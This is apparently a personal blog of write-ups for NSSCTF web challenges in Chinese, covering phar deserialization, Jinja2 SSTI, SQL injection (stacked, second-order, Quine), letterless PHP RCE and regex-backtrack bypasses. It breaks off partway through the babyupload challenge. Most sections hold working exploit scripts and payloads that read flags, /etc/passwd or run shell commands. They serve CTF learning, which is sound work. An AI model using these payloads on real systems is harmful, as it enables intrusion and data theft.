1. 1. [SWPU 2018]SimplePHP
  2. 2. [CISCN 2019华东南]Double Secret
  3. 3. [TQLCTF 2022]simple_bypass
  4. 4. [强网杯 2019]随便注
  5. 5. [BJDCTF 2020]ZJCTF,不过如此
  6. 6. [NISACTF 2022]hardsql
  7. 7. [October 2019]Twice SQL Injection
  8. 8. [鹏城杯 2022]简单的php
  9. 9. [NISACTF 2022]middlerce
  10. 10. [CISCN 2023 华北]ez_date
  11. 11. [NISACTF 2022]babyupload
  12. 12. [CSAWQual 2019]Unagi
  13. 13. [CISCN 2019华北Day2]Web1
  14. 14. [CISCN 2019华东南]Web11
  15. 15. [FSCTF 2023]是兄弟,就来传你の🐎!
  16. 16. [NSSRound#13 Basic]flask?jwt?
  17. 17. [GKCTF 2020]CheckIN
  18. 18. [NCTF 2018]Easy_Audit
  19. 19. [NSSRound#1 Basic]basic_check
  20. 20. [GDOUCTF 2023]hate eat snake
  21. 21. [NCTF 2018]Flask PLUS
  22. 22. [NISACTF 2022]level-up
  23. 23. [HUBUCTF 2022 新生赛]Calculate
  24. 24. [FSCTF 2023]CanCanNeed
  25. 25. [湖湘杯 2021 final]Penetratable
  26. 26. [CISCN 2022 初赛]ezpop
  27. 27. [NSSCTF 2022 Spring Recruit]babysql
  28. 28. [HDCTF 2023]YamiYami
  29. 29. [SWPUCTF 2021 新生赛]babyunser
  30. 30. [HNCTF 2022 WEEK3]ssssti
  31. 31. [GFCTF 2021]Baby_Web
  32. 32. [羊城杯 2020]easyphp
  33. 33. [SCTF 2021]loginme
  34. 34. [GWCTF 2019]枯燥的抽奖
  35. 35. [SWPUCTF 2021 新生赛]hardrce_3
  36. 36. [广东强网杯 2021 团队组]love_Pokemon
  37. 37. [西湖论剑 2022]Node Magical Login
  38. 38. [西湖论剑 2022]real_ez_node
  39. 39. [UUCTF 2022 新生赛]ezpop
  40. 40. [LitCTF 2023]Http pro max plus
  41. 41. [AFCTF 2021]BABY_CSP
  42. 42. [极客大挑战 2020]greatphp
  43. 43. [NSSRound#1 Basic]sql_by_sql
  44. 44. [GFCTF 2021]ez_calc
  45. 45. [CISCN 2019华北Day1]Web1
  46. 46. [MoeCTF 2021]地狱通讯
  47. 47. [CISCN 2019华北Day1]Web2
  48. 48. [SWPUCTF 2022 新生赛]Power!
  49. 49. [ISITDTU 2019]EasyPHP
  50. 50. [安洵杯 2019]easy_serialize_php
  51. 51. [护网杯 2018]easy_tornado
  52. 52. [BJDCTF 2020]Cookie is so subtle!
  53. 53. [NSSRound#8 Basic]Upload_gogoggo
  54. 54. [MoeCTF 2021]fake game
  55. 55. [NSSRound#13 Basic]ez_factors
  56. 56. [NSSRound#4 SWPU]1zweb(revenge)
  57. 57. [CISCN 2019华东南]Web4
  58. 58. [强网杯 2019]高明的黑客
  59. 59. prize_p2
  60. 60. [NSSCTF 2nd]MyHurricane
  61. 61. [第五空间 2021]EasyCleanup
  62. 62. [HZNUCTF 2023 final]eznode
  63. 63. [鹤城杯 2021]EasyP
  64. 64. [FSCTF 2023]签到plus
  65. 65. [CISCN 2022 初赛]online_crt
  66. 66. [第五空间 2021]PNG图片转换器
  67. 67. [GHCTF 2024 新生赛]ezzz_unserialize
  68. 68. [NSSRound#4 SWPU]ez_rce
  69. 69. [ASIS 2019]Unicorn shop
  70. 70. [NSSRound#17 Basic]真·签到
  71. 71. [NSSRound#16 Basic]了解过PHP特性吗
  72. 72. [SWPU 2016]web400
  73. 73. [De1ctf 2019]SSRF Me
  74. 74. prize_p4
  75. 75. [GKCTF 2020]ez三剑客-easynode
  76. 76. [NSSRound#V Team]PYRCE

NSS-web刷题

NSSCTF web 刷题,督促自己用的,图就不放了,好麻烦嘤嘤嘤

[SWPU 2018]SimplePHP

image-20241129090655640

一眼任意文件读取

获取目录下的文件

index.php

image-20241129090754383

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php 
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
 <?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

base.php

image-20241129090905238

upload_file.php

image-20241129091157168

然后我们需要进行的就是代码审计

上传的文件后缀限定为白名单,且会强制改成.jpg,那么正常的文件上传漏洞就不存在了,得想其他办法,源码中其实也给了提示,phar反序列化,给了文件包含的点,也给了文件上传的点,那么就可以利用phar反序列化了。那么接下来就要找链条了

1
C1e4r::__destruct() -> Show::__toString() -> Test::__get() -> Test::get() -> Test::file_get()

链子拿捏了,构造就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class C1e4r
{
public $str;
}

class Show
{
public $str;
}
class Test
{
public $params;
}


$c=new C1e4r();
$s=new Show();
$t=new Test();
$t->params['source']='/var/www/html/f1ag.php';
$s->str['str']=$t;
$c->str=$s;


echo serialize($c);

@unlink('test.phar');//删除之前的test.phar文件(如果有)
$phar = new Phar('test.phar');
$phar -> startBuffering(); //开始缓冲 Phar 写操作
$phar -> setStub('GIF89a<?php __HALT_COMPILER();?>'); //设置stub,添加gif文件头
$phar ->addFromString('test.txt','test'); //要压缩的文件
$phar -> setMetadata($c); //将自定义meta-data存入manifest
$phar -> stopBuffering(); ////停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘

然后将phar文件后缀改成jpg,上传后在upload目录下获取名称然后在file.php文件下进行phar文件包含即可获取flag

image-20241129094525150

[CISCN 2019华东南]Double Secret

扫目录发现/secret目录

image-20241129152014405

传入secret参数后会加密后进行回显,11111就报错了,同时发现泄露了部分源码

1
2
3
4
5
6
7
8
if(secret==None):
return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure") #解密
deS=rc.do_crypt(secret)
a=render_template_string(safe(deS))
if 'ciscn' in a.lower():
return 'flag detected!'
return a

一眼ssti

RC4加密后用render_template_string进行模板渲染,RC4密钥为HereIsTreasure,同时用safe()函数对恶意代码进行过滤

那接下来就试着ssti

image-20241129153324392

image-20241129153330890

那就

1
{{''.__class__.__mro__[2]}}

这样就能获得object了

1
{{''.__class__.__mro__[2].__subclasses__()}}

image-20241129153602396

然后不知道找哪个类了,网上说用warnings.catch_warnings类然后

1
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('cat /flag.txt').read()}}

但是我不太行啊,不知道为啥。

后来用config直接试,居然可以

1
{{config.__class__.__init__.__globals__}}

image-20241129154720280

1
{{config.__class__.__init__.__globals__['os'].popen('ls /').read()}}

image-20241129154816344

1
{{config.__class__.__init__.__globals__['os'].popen('cat /f*').read()}}

NSSCTF{2503893c-a2dd-44f5-822d-40536acbabd0}

后来又回归之前的payload,用<class ‘site._Printer’>类里面的globals有os模块,是可以用的

1
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('cat /f*').read()}}

warnings.catch_warnings类有open模块,可以直接打开文件

1
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/flag.txt').read()}}

[TQLCTF 2022]simple_bypass

注册登陆一下就好,在好康的处发现php的跳转,发现那里可能存在任意文件读取

image-20241129162734692

1
http://node4.anna.nssctf.cn:28995/get_pic.php?image=/etc/passwd

然后查看源代码获取一串base64

image-20241129162758249

实锤了!任意文件读取,那就读取一下当前的这个文件吧。

1
2
3
4
5
<?php
error_reporting(0);
$image = (string)$_GET['image'];
echo '<div class="img"> <img src="data:image/png;base64,' . base64_encode(file_get_contents($image)) . '" /> </div>';
?>

没啥用,那就看看index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
<?php
error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])){
$hash_user = md5($_POST['user']);
$hash_pass = 'zsf'.md5($_POST['pass']);
if(isset($_POST['punctuation'])){
//filter
if (strlen($_POST['user']) > 6){
echo("<script>alert('Username is too long!');</script>");
}
elseif(strlen($_POST['website']) > 25){
echo("<script>alert('Website is too long!');</script>");
}
elseif(strlen($_POST['punctuation']) > 1000){
echo("<script>alert('Punctuation is too long!');</script>");
}
else{
if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
$template = file_get_contents('./template.html');
$content = str_replace("__USER__", $_POST['user'], $template);
$content = str_replace("__PASS__", $hash_pass, $content);
$content = str_replace("__WEBSITE__", $_POST['website'], $content);
$content = str_replace("__PUNC__", $_POST['punctuation'], $content);
file_put_contents('sandbox/'.$hash_user.'.php', $content);
echo("<script>alert('Successed!');</script>");
}
else{
echo("<script>alert('Invalid chars in website!');</script>");
}
}
else{
echo("<script>alert('Invalid chars in username!');</script>");
}
}
}
else{
setcookie("user", $_POST['user'], time()+3600);
setcookie("pass", $hash_pass, time()+3600);
Header("Location:sandbox/$hash_user.php");
}
}
?>

<!doctype html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Simple Linux</title>
<link rel="stylesheet" type="text/css" href="css/styles.css">
<!--[if IE]>
<script src="http://libs.baidu.com/html5shiv/3.7/html5shiv.min.js"></script>
<![endif]-->
</head>
<body>
<div class="jq22-container" style="padding-top:100px">
<div class="login-wrap">
<div class="login-html">
<input id="tab-1" type="radio" name="tab" class="sign-in" checked><label for="tab-1" class="tab">Sign In</label>
<input id="tab-2" type="radio" name="tab" class="sign-up"><label for="tab-2" class="tab">Sign Up</label>
<div class="login-form">
<form action="index.php" method="post">
<div class="sign-in-htm">
<div class="group">
<label for="user" class="label">Username</label>
<input id="user" name="user" type="text" class="input">
</div>
<div class="group">
<label for="pass" class="label">Password</label>
<input id="pass" name="pass" type="password" class="input" data-type="password">
</div>
<!-- <div class="group">
<input id="check" type="checkbox" class="check" checked>
<label for="check"><span class="icon"></span> Keep me Signed in</label>
</div> -->
<div class="group">
<input type="submit" class="button" value="Sign In">
</div>
<div class="hr"></div>
<!-- <div class="foot-lnk">
<a href="#forgot">Forgot Password?</a>
</div> -->
</div>
</form>
<form action="index.php" method="post">
<div class="sign-up-htm">
<div class="group">
<label for="user" class="label">Username</label>
<input id="user" name="user" type="text" class="input">
</div>
<div class="group">
<label for="pass" class="label">Password</label>
<input id="pass" name="pass" type="password" class="input" data-type="password">
</div>
<div class="group">
<label for="pass" class="label">Your Website</label>
<input id="pass" name="website" type="text" class="input">
</div>
<div class="group">
<label for="pass" class="label">Your Punctuation</label>
<input id="pass" name="punctuation" type="text" class="input">
</div>
<div class="group">
<input type="submit" class="button" value="Sign Up">
</div>
<div class="hr"></div>
<div class="foot-lnk">
<label for="tab-1">Already Member?</a>
</div>
</div>
</form>
</div>
</div>
</div>
</div>

</body>
</html>

审计上方代码发现存在file_put_contents,可以对php文件写入一句话木马。

有四个选择,选哪个好呢?接下来我们看看template.html,并找到关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
        <li><span class="adminImg"></span>
<?php
error_reporting(0);
$user = ((string)__USER__);
$pass = ((string)__PASS__);

if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
echo($_COOKIE['user']);
}
else{
die("<script>alert('Permission denied!');</script>");
}
?>
</li>
</ul>
<ul class="item">
<li><span class="sitting_btn"></span>系统设置</li>
<li><span class="help_btn"></span>使用指南 <b></b></li>
<li><span class="about_btn"></span>关于我们</li>
<li><span class="logout_btn"></span>退出系统</li>
</ul>
</div>
</div>
</div>
<a href="#" class="powered_by">__PUNC__</a>

只有__PUNC__是最好利用的,但是问号被过滤了,想要让它解析php,这时就需要它在上面的php里面,但是上面的php被闭合过了,但是我们又发现其实__USER__,__PASS__这些都是可控的,我们可以使用多行注释来解决问题。最后再把后面的注释掉就行,不然标签闭合会出现问题。

1
2
3
4
5
注册时用户名为a/*
密码为a
website为a
描述为*/);$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);/*
即可,无数字字母rce,简单的很
1
file_put_contents('sandbox/'.$hash_user.'.php', $content);

image-20241129185322665

查看网页源代码即可获取flag

[强网杯 2019]随便注

sql注入题

image-20241201081543495

存在过滤,不好直接联合注入啊

试试堆叠

image-20241201081821727

存在堆叠注入

1
2
3
1';show databases;#
1';show tables;#
1';show columns from `1919810931114514`;#
image-20241201081952743

但是这里select等被过滤了,该怎么办呢?

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER tbl_name CLOSE来关闭打开的句柄。

通过索引去查看的话可以按照一定的顺序,获取表中的数据。
通过HANDLER tbl_name READ index_name FIRST,获取句柄第一行(索引最小的一行),NEXT获取下一行,PREV获取前一行,LAST获取最后一行(索引最大的一行)。

1
1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;#

image-20241201082223713

1
NSSCTF{64bfe910-ba05-4133-8fdf-11bdf68fd5ce}

以上为第一种方法

还有两种思路!!!

方法一:

image-20241201082453677

直接查1,搜到的是words表的相关内容,而搜不到flag表的相关内容,那么我们可不可以把flag表变成words表呢,那不就可以直接搜到flag表的内容了吗?!

1,通过 rename 先把 words 表改名为其他的表名。

2,把 1919810931114514 表的名字改为 words 。

3 ,给新 words 表添加新的列名 id 。

4,将 flag 改名为 data 。

1
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#

image-20241201082658543

方法二:

因为select被过滤了,所以先将select * from 1919810931114514进行16进制编码

再通过构造payload得

1’;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

进而得到flag

prepare…from…是预处理语句,会进行编码转换。

execute用来执行由SQLPrepare创建的SQL语句。

SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。

[BJDCTF 2020]ZJCTF,不过如此

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>
1
http://node4.anna.nssctf.cn:28418/?text=data://text/plain,I%20have%20a%20dream&file=php://filter/read=convert.base64-encode/resource=next.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

本来试了一下filterchain,可以用是可以用但是flag出不来,可能被特意设计了

这里主要涉及到preg_replace的一个RCE漏洞,参考:https://xz.aliyun.com/t/2557

主要就是构造preg_replace('.*')/ei','strtolower("\\1")', {${此处填函数名}});
大概就是把所有字符替换为函数执行结果。
但是GET传.*=xxx会出问题,自动将第一个非法字符转化为下划线(看链接),所以构造:

image-20241201090321285

这里没有出flag,那就是环境问题了,之前的filterchain应该也是可以的!!

[NISACTF 2022]hardsql

1
2
password=_POST[‘passwd’];
sql="SELECT passwd FROM users WHERE username=′bilala′ and passwd=′password’;";

根据题目描述,username为bilala,password处存在注入点,可以进行sql注入测试。

先fuzz一下,存在waf

发现like和百分号没有被过滤,直接爆破密码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import string
import requests

url='http://node5.anna.nssctf.cn:23092/login.php'
str_sum=string.digits+string.ascii_letters
flag=''
for i in range(50):
for j in str_sum:
data={"username":"bilala","passwd":f"-1'/**/or/**/passwd/**/like/**/'{flag+j}%'#"}
res=requests.post(url,data)
print(data)
if "nothing" not in res.text:
flag+=j
print(flag)
break
else:
print(flag)
break
1
b2f2d15b3ae082ca29697d8dcd420fd7

登陆成功后源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
 <?php
//多加了亿点点过滤

include_once("config.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
if(preg_match("/if|regexp|between|in|flag|=|>|<|and|\||right|left|insert|database|reverse|update|extractvalue|floor|join|substr|&|;|\\\$|char|\x0a|\x09|column|sleep|\ /i",$s)){
alertMes('waf here', 'index.php');
}
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['passwd']) && $_POST['passwd'] != '') {
$username=$_POST['username'];
$password=$_POST['passwd'];
if ($username !== 'bilala') {
alertMes('only bilala can login', 'index.php');
}
checkSql($password);
$sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
$user_result=mysqli_query($MysqlLink,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes('nothing found','index.php');
}
if ($row['passwd'] === $password) {
if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
show_source(__FILE__);
die;
}
else{
die($FLAG);
}
} else {
alertMes("wrong password",'index.php');
}
}

?>

重点在此处:

1
2
3
4
5
6
7
8
if ($row['passwd'] === $password) {
if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
show_source(__FILE__);
die;
}
else{
die($FLAG);
}

考点为sql注入之Quine注入

这里先介绍一下Quine注入:

https://nakaii.top/2023/04/24/%E8%AE%B0%E4%B8%80%E6%AC%A1Quino%E6%B3%A8%E5%85%A5%E5%AD%A6%E4%B9%A0/index.html

Quine又称为自产生程序,在sql注入中是一种使得输入的sql语句和输出的sql语句一致的技术,就是说输入的语句进行查询后生成的结果与输入的语句相同(自己生成自己),可以看到题目中的判断正是考察了这个点。

突破口是replace函数

replace(object, search, replace)

此函数用于将object中的所有search替换为replace。

1
2
3
4
5
6
7
MariaDB [(none)]> select replace(".", char(46), "!");
+-----------------------------+
| replace(".", char(46), "!") |
+-----------------------------+
| ! |
+-----------------------------+
1 row in set (0.000 sec)

尝试使输入输出保持一致!

替换object

尝试通过替换object使输入输出保持一致:

1
2
3
4
5
6
7
MariaDB [(none)]> select replace('replace(".",char(46),".")',char(46),'.');
+---------------------------------------------------+
| replace('replace(".",char(46),".")',char(46),'.') |
+---------------------------------------------------+
| replace(".",char(46),".") |
+---------------------------------------------------+
1 row in set (0.000 sec)

还是差一点,只是将object中的字符串原样输出了,replace还没怎么用到,是否可以通过更改replace使输入输出保持一致?

替换object+replace

1
2
3
4
5
6
7
MariaDB [(none)]> select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
+---------------------------------------------------------------------------+
| replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")') |
+---------------------------------------------------------------------------+
| replace("replace(".",char(46),".")",char(46),"replace(".",char(46),".")") |
+---------------------------------------------------------------------------+
1 row in set (0.000 sec)

可以看到确实长得差不多了,但还是有问题,包围object和replace的符号仍然有差异。object中的.被替换为了replace(“.”,char(46),”.”),但包围.的引号为双引号,如果直接更改为单引号会造成最外层replace的object界限不明确,因此还需要再套一层replace,将双引号改为单引号。

解决引号问题

1
replace('"."',char(34),char(39))

语句将字符串中的双引号替换为了单引号,这就是解决引号问题的方法,即在object外再套一层replace将里面的双引号更改为单引号:

1
2
3
4
5
6
7
MariaDB [(none)]> select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.000 sec)

总结

Quine基本形式:

replace(replace(‘str’,char(34),char(39)),char(46),‘str’)

先将str里的双引号替换成单引号,再用str替换str里的.

str基本形式(可以理解成上面的”.”):

replace(replace(“.”,char(34),char(39)),char(46),”.”)

完整的Quine就是Quine基本形式+str基本形式

这时我们再回头看题目

str基本形式为

1
"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#

quine基本形式为

1
'/**/union/**/select/**/replace(replace('str',char(34),char(39)),char(46),'str')#

总体为

1
'/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

但是此处char被过滤,那么用chr也行

1
'/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#',chr(34),chr(39)),chr(46),'"/**/union/**/select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#')#

image-20241201162019665

NSSCTF{23e578bc-4904-467f-8c73-544bccadb796}

[October 2019]Twice SQL Injection

标题直说了,二次注入

image-20241201162431475

存在登陆注册界面,可能就是通过注册,将恶意sql存入数据库,登陆时将username代入select语句从而导致了二次注入

1
1' union select database()#

以上payload使登陆后页面回显ctftraining

1
1' union select (select group_concat(table_name) from information_schema.tables where table_schema=database())#
image-20241201162925243
1
1' union select (select group_concat(column_name) from information_schema.columns where table_name='flag')#
image-20241201163048605
1
1' union select (select group_concat(flag) from flag)#
1
NSSCTF{1f52dc37-5280-432e-8935-ed7a31f848a0}

[鹏城杯 2022]简单的php

1
2
3
4
5
6
7
8
9
10
11
<?php
show_source(__FILE__);
$code = $_GET['code'];
if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
die(' Hello');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);

}

?>

无字母字母rce和无参rce的结合版

看过滤,直接用取反就可以

最终想要构造的是

1
system(end(getallheaders()));
1
[~%8C%86%8C%8B%9A%92][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));

然后用二维数组进行拼接必须有[!%FF进行分割]

image-20241201165516664

NSSCTF{8eb0d6fc-55b1-4d5b-90bc-5140b5565b6b}

[NISACTF 2022]middlerce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include "check.php";
if (isset($_REQUEST['letter'])){
$txw4ever = $_REQUEST['letter'];
if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
die("再加把油喔");
}
else{
$command = json_decode($txw4ever,true)['cmd'];
checkdata($command);
@eval($command);
}
}
else{
highlight_file(__FILE__);
}
?>

只需绕过preg_match后面就简单了,preg回溯次数绕过,大于1000000字符就可以啦简单

1
2
3
4
5
6
7
8
9
10
import requests

url='http://node4.anna.nssctf.cn:28728/'

payload='{"cmd":"eeeee","aaa":"'+"$"*1000000+'"}'
print(payload)

res=requests.post(url,data={"letter":payload})

print(res.text)

image-20241201195030922

回显不再是再加把油喔,那么就成功了,接下来我们需要绕过的就是checkdata函数!

eval的话可以短标签+反引号

1
2
3
4
5
6
7
8
9
10
import requests

url='http://node4.anna.nssctf.cn:28728/'

payload='{"cmd":"?><?=`ls /`?>","aaa":"'+"$"*1000000+'"}'
print(payload)

res=requests.post(url,data={"letter":payload})

print(res.text)

根目录发现/flag,那么就拿捏了啊

1
nl /f*

image-20241201195811853

[CISCN 2023 华北]ez_date

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 <?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
$content=date($this->file);
$uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}

unserialize(base64_decode($_GET['code']));

php反序列化

1
2
3
4
5
<?php
$a=date("/f\l\a\g");
echo $a;

#/flag
1
2
3
4
5
6
$content=date($this->file);

# $content接受经过被date函数格式化后的变量file
# date()的说明:
# 该方法会检测传入的字符串中是否有特定的格式化字符,如Y(年份)、m(月份)、d(天)、H(时)、i(分钟)、s(秒)等
# 检测存在则会将格式化字符替换为当前时间的对应部分,否则将字符进行原样输出,同时可用转义字符将格式化字符原样输出

payload如下:

1
2
3
4
5
6
7
8
9
10
<?php
class date{
public $a=1;
public $b='1';
public $file="/f\l\a\g";
}
}

$a=new date();
echo serialize($a);

[NISACTF 2022]babyupload

打开后出现了一个简单的文件上传界面,查看一下源码,发现hint为/source,访问一下获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
